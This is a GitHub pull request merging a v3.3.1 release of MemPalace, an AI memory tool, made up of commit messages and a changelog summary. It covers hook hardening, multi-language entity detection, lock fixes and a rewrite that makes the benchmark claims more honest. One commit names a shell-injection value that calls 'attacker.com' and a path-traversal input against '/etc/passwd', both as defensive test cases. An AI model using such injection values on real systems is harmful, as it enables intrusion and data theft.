Conversation
…etic injection save_hook.sh: - Coerce stop_hook_active to strict True/False before eval to prevent command injection via crafted JSON (e.g. "$(curl attacker.com)") - Validate LAST_SAVE as plain integer with regex before bash arithmetic to prevent command substitution via poisoned state files hooks_cli.py: - Add _validate_transcript_path() that rejects paths with '..' components and non-.jsonl/.json extensions - _count_human_messages() now uses the validator, returning 0 for invalid paths instead of opening arbitrary files Tests: - Path traversal rejection (../../etc/passwd) - Wrong extension rejection (.txt, .py) - Valid path acceptance (.jsonl, .json) - Empty string handling - Shell injection in stop_hook_active field Refs: #809
…h test - _count_human_messages() now logs a WARNING via _log() when a non-empty transcript_path is rejected by the validator, making silent auto-save failures diagnosable via hook.log - Add test for platform-native paths (backslashes on Windows) to verify _validate_transcript_path works cross-platform - Add test verifying the warning log is emitted on rejection Refs: #809
Noticed a URL ``` hXXps://www.mempalace[.]tech/ ``` Though the README currently warns, it is perhaps best to surface it at urgency level at the top of the README.
sanitize_name rejects commas, colons, parentheses, and slashes — characters that commonly appear in knowledge graph subject/object values. Adds sanitize_kg_value for KG entity fields (subject, object, entity) while keeping sanitize_name for predicates and wing/room names.
When no mempalace.yaml or mempal.yaml exists in the source directory, return a default config (wing = directory name, room = general) instead of calling sys.exit(1). This lets users mine any directory into their palace without requiring init first. Closes #14.
Addresses review feedback on #604: - Warning now goes to stderr instead of stdout so it doesn't mix with mine progress output when users pipe stdout elsewhere. - Warning explicitly calls out that directories with the same basename will share a wing name, and suggests adding mempalace.yaml to disambiguate. Prevents silent content mixing across projects mined without yaml.
fix: allow mining directories without local mempalace.yaml
fix: harden hooks against shell injection, path traversal, and arithmetic injection
Replace the blanket ban on .tech/.io/.com domains with an allowlist of real MemPalace surfaces (GitHub repo, PyPI, mempalaceofficial.com) and call out mempalace.tech as the reported impostor. The blanket .com ban would have flagged mempalaceofficial.com as fake once DNS resolves (CNAME shipped in #877). Also update the April 11 follow-up section to match so the two notices no longer contradict each other.
Increase visibility of fake website caution
…ation fix: use permissive validator for KG entity values
Move regular expression compilation to the module level in `dialect.py` to prevent repeated parsing during loop execution. Co-authored-by: igorls <[email protected]>
export MEMPAL_VERBOSE=true → hook blocks, agent writes diary in chat export MEMPAL_VERBOSE=false → silent background save (default) Developers need to see code and diaries being written. Regular users want zero chat clutter. Now both work. TDD: tests written first, failed, code fixed, tests pass. Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
Contributors now get a one-click dev environment that mirrors CI exactly: Python 3.11 (middle of the 3.9/3.11/3.13 matrix), ruff pinned to the same >=0.4.0,<0.5 range CI enforces, and pre-commit hooks auto-installed from the existing .pre-commit-config.yaml. Pinning ruff in post-create.sh is the load-bearing piece: pyproject only sets a floor, so without the pin the ruff extension would install 0.15.x and phantom-fail lint against CI's 0.4.x.
…n-15578943484596502942 ⚡ Optimize regex compilation in entity extraction
feat: add VSCode devcontainer matching CI environment
Closes #872. The top-level decision field only recognizes "block". To not block, return empty JSON {}. "allow" was silently ignored by Claude Code, causing unpredictable behavior. Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>
fix: add missing self._lock to query_relationship, timeline, and stats in KnowledgeGraph
fix: replace invalid 'decision: allow' with {} in hooks (closes #872)
TDD: test first, failed, fixed, passed. Igor fixed query_relationship/timeline/stats in an earlier commit. close() was the last method touching self._connection without holding the lock. Closes #883. Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>
fix: add lock to KG close() — last missing lock (closes #883)
The rerank pipeline was hardcoded to Anthropic's /v1/messages.
Add a backend flag so the same code path can be exercised with
any OpenAI-compatible endpoint — local Ollama, Ollama Cloud,
or any gateway that speaks /v1/chat/completions.
Enables independent verification of the "100% with Haiku rerank"
claim by running the full benchmark with a different LLM family
(e.g. minimax-m2.7:cloud) and zero Anthropic dependency.
Both longmemeval_bench.py and locomo_bench.py:
- llm_rerank*() gain backend= / base_url= kwargs
- CLI: --llm-backend {anthropic,ollama}, --llm-base-url
- API key required only when backend=anthropic (diary/palace modes still require it)
- Parse last integer in response (reasoning models emit multi-int output)
- Fallback to message.reasoning when content is empty
- Raise max_tokens to 1024 for reasoning models
Addresses #875: every internal BENCHMARKS.md claim reproduced on Linux x86_64 (v3.3.0 tag, deterministic ChromaDB embeddings, seed=42 for the LongMemEval dev/held-out split). Scorecard — all reproduce exactly: LongMemEval raw R@5 96.6% (500/500) ✅ hybrid_v4 held-out 450 R@5 98.4% (442/450) ✅ hybrid_v4 + minimax rerank R@5 99.2% (496/500) * hybrid_v4 + minimax rerank R@10 100.0% (500/500) * LoCoMo (session, top-10) raw 60.3% (1986q) ✅ hybrid v5 88.9% (1986q) ✅ ConvoMem all-categories (250 items) 92.9% ✅ MemBench all-categories (8500) 80.3% ✅ * The minimax-m2.7:cloud rerank run replicates the "100%" claim with a different LLM family (no Anthropic dependency). R@10 is a perfect reproduction; R@5 misses 4 questions that the published Haiku run caught — consistent with BENCHMARKS.md's own disclosure that hybrid_v4 includes three question-specific fixes developed by inspecting misses, i.e. teaching to the test. The committed 50/450 split is the deterministic (seed=42) split BENCHMARKS.md references but wasn't previously in the repo. Full result JSONLs include every question, every retrieved id, and every score — auditable end-to-end.
Addresses #875. The previous README was 755 lines mixing six purposes (scam alert, hero, two mea-culpa notes, install guide, architecture explainer, API reference, file map). Rework it as a pure entry point: what MemPalace is, how to install, honest benchmark numbers, links to the website for concept/architecture documentation. Key content changes: - Drop the "highest-scoring AI memory system ever benchmarked" framing. - New tagline: "Local-first AI memory. Verbatim storage, pluggable backend, 96.6% R@5 raw on LongMemEval — zero API calls." Avoids naming a specific vector-store implementation since the backend is pluggable (see mempalace/backends/base.py). - Remove the cross-system comparison table. Retrieval recall (R@5) and end-to-end QA accuracy are different metrics and are not comparable; placing MemPalace's R@5 next to competitor QA accuracy under a single column header was a category error. - The "100%" LongMemEval headline is no longer the lead. The honest held-out figure is 98.4% R@5 on 450 unseen questions. The rerank pipeline reaches >=99% with any capable LLM (reproduced with Claude Haiku, Sonnet, and minimax-m2.7 via Ollama) — pipeline-level, not model-specific. - Benchmark reproduction commands now reference the correct repo (MemPalace/mempalace, not the defunct aya-thekeeper/mempal branch). New file: docs/HISTORY.md as the canonical home for post-launch corrections, public notices, and retractions. Contains verbatim: - 2026-04-14 note on this rewrite (links to #875) - 2026-04-11 impostor-domain notice (moved from README header) - 2026-04-07 "A Note from Milla & Ben" (moved from README body) README keeps a one-line scam-alert callout that links to docs/HISTORY.md for the full timeline.
Part of #875. Bring the VitePress site into line with the new README and the reproducibility scorecard: drop category-error comparisons, drop retracted claims, retain only metrics and caveats that survive audit. website/index.md - New tagline matches README (local-first, verbatim, pluggable backend, 96.6% R@5 raw, zero API calls). - Replace the "MemPalace hybrid 100% / Supermemory ~99% / Mastra 94.87% / Mem0 ~85%" comparison table with a single honest table showing MemPalace's own retrieval-recall numbers (raw 96.6%, hybrid v4 held-out 98.4%). Add an explicit sentence explaining why we no longer publish a cross-system table on the landing page (retrieval recall vs QA accuracy are different metrics). - Soften the "ChromaDB-powered vector search" feature blurb to be backend-agnostic, since the retrieval layer is pluggable. website/reference/benchmarks.md - Full rewrite of the retrieval-recall tables. No more "100%" headline; honest held-out 98.4% R@5 replaces it. Added the model-agnostic rerank result (99.2% R@5 / 100% R@10 with minimax-m2.7 via Ollama) to show the pipeline is not Haiku-specific. - Drop the LoCoMo "Hybrid v5 + Sonnet rerank (top-50) 100%" row. With per-conversation session counts of 19-32 and top_k=50, the retrieval stage returns every session by construction — the number measures an LLM's reading comprehension, not retrieval. - Drop the cross-system comparison tables. Link out to each project's own research page (Mastra, Mem0, Supermemory) for their published numbers and metric definitions. - Rewrite reproduction commands to use the correct repository and demonstrate the new --llm-backend ollama flag. website/concepts/the-palace.md - Remove the "+34%" row / paragraph. Wing/room filtering is standard metadata filtering in the vector store, not a novel retrieval mechanism — the April-7 note already retracted that framing; this finishes the retraction on the website where it had remained. website/guide/searching.md - Same treatment for "34% retrieval improvement". Reframe as operational scoping, not a novel boost. website/reference/contributing.md - Update the "palace structure matters" bullet to reflect the same framing: scoping-not-magic. website/concepts/knowledge-graph.md - Replace the MemPalace-vs-Zep feature matrix with a short "related work" note that links to Zep's own documentation for authoritative details on their deployment model. Avoids claims we cannot verify at source.
Remaining in-repo surfaces carrying the same retracted or broken claims as the public pages fixed in the previous two commits. CONTRIBUTING.md - "Palace structure matters ... 34% retrieval improvement" → reframed as scoping (same rewording applied to the website equivalents). benchmarks/BENCHMARKS.md - Add a prominent "Important caveat" block at the top of the "Comparison vs Published Systems" table explaining that R@5 (retrieval recall) and QA accuracy are different metrics, with citations to Mastra, Mem0, and Supermemory's own published methodology pages. Annotate the specific competitor rows whose numbers are QA accuracy, not retrieval recall. - Annotate the `hybrid v4 + rerank 100%` row to note that the 99.4 → 100 step was tuned on 3 specific wrong answers (already disclosed further down in the doc under "Benchmark Integrity"); the honest hybrid figure is held-out 98.4%. - Fix the broken clone URL — `aya-thekeeper/mempal` no longer points at anything; now `MemPalace/mempalace`. benchmarks/README.md + benchmarks/HYBRID_MODE.md - Same clone-URL fix applied. CHANGELOG.md - Add a ### Documentation entry under [Unreleased] v3.3.0 that names #875 and summarises the scope of the rewrite.
…_patterns,direct_address_pattern, project_verb_patterns and stopwords
- dialogue_patterns[0]: remove stray \" before > (fixes markdown quote matching) - entity stopwords: add 40 prepositions, conjunctions, and common words to reduce false positives - pronoun_patterns: add 2nd-person (você/vocês) and possessives (seu/sua/seus/suas)
feat: add Brazilian Portuguese support to entity_detector (closes #117)
feat: add Italian language support
BCP 47 language tags are case-insensitive (RFC 5646 §2.1.1) but the
locale files mix conventions (pt-br.json vs zh-CN.json). On
case-sensitive filesystems, '--lang PT-BR' or '--lang zh-cn' silently
missed the file, _load_entity_section returned {}, and entity
detection ran in English with no warning.
The cache key in get_entity_patterns was built from raw input, so
('PT-BR',) and ('pt-br',) produced two distinct entries, both wrong.
Add _canonical_lang(lang) that resolves any casing to the on-disk
filename stem via lowercase comparison, and route load_lang,
_load_entity_section, and the cache key through it.
Closes #927
PEP 604 union syntax (str | None) requires Python 3.10+. The project supports 3.9 per CI matrix, so use typing.Optional instead.
… scripts Python's \b is a \w/non-\w transition. Devanagari vowel signs (matras) like ा ी ु are Unicode category Mc (Mark, Spacing Combining) — not \w. This means \b splits mid-word on every matra: names like अनीता (Anita) truncate to अनीत, and person-verb patterns like \bराज\s+ने\s+कहा\b never match because \b fails after the final matra of कहा. Same issue affects Arabic, Hebrew, Thai, Tamil, and every other script whose words contain combining marks. Fix: locales with combining-mark scripts declare a boundary_chars field in their entity section (e.g. "\\w\\u0900-\\u097F" for Hindi). The i18n loader replaces every \b in that locale's patterns with a script-aware lookaround that treats the declared characters as "inside-word", and pre-wraps candidate/multi_word patterns with the same boundary. Default behavior (no boundary_chars) keeps standard \b — en, pt-br, ru, it are unchanged. Changes: - mempalace/i18n/__init__.py: add _script_boundary, _expand_b, _wrap_candidate, _collect_entity_section; candidate_patterns are now returned fully-wrapped (boundary + capture group applied) - mempalace/entity_detector.py: extract_candidates compiles pre-wrapped candidate patterns directly instead of re-wrapping with \b - tests/test_entity_detector.py: 5 new tests for Devanagari boundaries (name extraction with/without boundary_chars, person-verb firing, English regression)
…boundaries fix(entity_detector): script-aware word boundaries for combining-mark scripts
…gari-aware matching
…alace entity_detector.py was refactored in #911 to load candidate patterns from i18n locale JSON files, supporting non-Latin scripts (Cyrillic, accented Latin, etc.). But three other code paths still hardcoded the ASCII-only regex [A-Z][a-z]{2,}, silently missing non-Latin entity names in metadata tagging, closet indexing, and registry lookups. Replace the hardcoded regex with a shared _candidate_entity_words() helper that reuses the same i18n candidate_patterns as entity_detector.
Introduces the Indonesian (id) locale, providing translations for CLI commands, status messages, and core terminology. Includes language-specific regex patterns for stop words and action detection to support text processing and indexing in Indonesian. The test suite is updated with a sample case to verify correct dialect handling and compression.
Refine AAAK instruction and expand entity detection patterns.
On Windows with non-UTF-8 locale (e.g. GBK), Path.read_text() defaults to platform encoding, breaking onboarding tests and any source code that reads JSON/markdown with non-ASCII content. 5 files, 8 call sites fixed.
feat: add Hindi language support to i18n module
feat: add Indonesian language support
fix(i18n): resolve language codes case-insensitively (#927)
fix: add explicit UTF-8 encoding to read_text() calls (#776)
fix: use i18n candidate patterns for entity extraction in miner and palace
Bumps version across pyproject.toml, mempalace/version.py, README badge, and uv.lock. Finalizes the 3.3.0 CHANGELOG section (was still labeled 'Unreleased') and adds a 3.3.1 section covering the multi-language entity-detection infra and the five new locales landed since 2026-04-13. Highlights: - Multi-language entity detection infra (#911) + script-aware word boundaries for combining-mark scripts (#932) + BCP 47 case-insensitive locale resolution (#928) + i18n patterns wired into miner/palace/ entity_registry (#931) - Five new fully-supported locales: pt-br (#156), ru (#760), it (#907), hi (#773), id (#778) - UTF-8 encoding fix on read_text() calls for non-UTF-8 Windows locales (#946) - KnowledgeGraph lock correctness (#884, #887) - Various smaller fixes and improvements
Advisor caught: initial boundary (962776c..develop) skipped PRs that landed on develop after v3.3.0 tag but before the sync-back merge. Adds entries for #871 MEMPAL_VERBOSE, #811 research() local-only default, #866 init .gitignore, #864 MCP stdout redirect, #863 precompact hook, #865 searcher empty results, #831 cold-start palace, #862 init help, #815 Slack provenance, #840 save hook auto-mine. Also drops the awkward caveat on #846 created_at — it's post-v3.3.0.
version-guard workflow checks five sources must agree: mempalace/version.py, pyproject.toml, .claude-plugin/marketplace.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json. Initial release commit missed the three plugin manifests.
…ests release: bump plugin manifests to 3.3.1
bensig
approved these changes
Apr 17, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
14 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Merges
developintomainfor the v3.3.1 release.Version bumps
pyproject.toml→3.3.1mempalace/version.py→3.3.1README.mdversion badge →3.3.1uv.lock→3.3.1Changelog
Finalizes the previously-open
[Unreleased] — v3.3.0section (it was never closed out on the 3.3.0 release) by redating it to[3.3.0] — 2026-04-13, and adds a new[3.3.1] — 2026-04-16section. Full entry is in CHANGELOG.md — highlights:Headline: multi-language entity detection
entitysection of each locale JSON; every public function inentity_detectoraccepts alanguages=tuple with default("en",).boundary_charsfield; the i18n loader expands\binto a script-aware lookaround so names likeअनीताare no longer truncated.--lang PT-BR,zh-cn,Pt-Brnow all resolve to the canonical locale file instead of silently falling back to English._extract_entities_for_metadata,build_closet_lines,extract_unknown_candidates) that still hardcoded ASCII-only[A-Z][a-z]{2,}now use the same i18n candidate patterns.encoding="utf-8"onPath.read_text()calls — fixes Windows GBK (and other non-UTF-8) locales corrupting UTF-8 files.Other notable changes
MEMPAL_VERBOSEenv toggle (feat: MEMPAL_VERBOSE toggle — devs see diaries, users get silence #871)entity_registry.research()local-only by default — previously made outbound Wikipedia requests without explicit opt-in (fix: make entity_registry.research() local-only by default #811)mempalace initauto-adds per-project files to.gitignore(fix(init): auto-add per-project files to .gitignore in git repos (#185) #866)Post-merge checklist
v3.3.1on the squash-merge commit onmain(mirrors howv3.3.0was tagged on4aa7e1e)main→developafterwards so the[3.3.0] → 2026-04-13rename is also on developTest plan
uv run python -m pytest tests/ --ignore=tests/benchmarks -q→ 959 passeduv run ruff check .cleanruff format --checkclean on changed files